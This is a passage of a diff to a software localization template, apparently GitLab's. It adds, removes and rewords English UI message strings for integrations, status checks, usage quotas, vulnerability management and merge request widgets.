msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
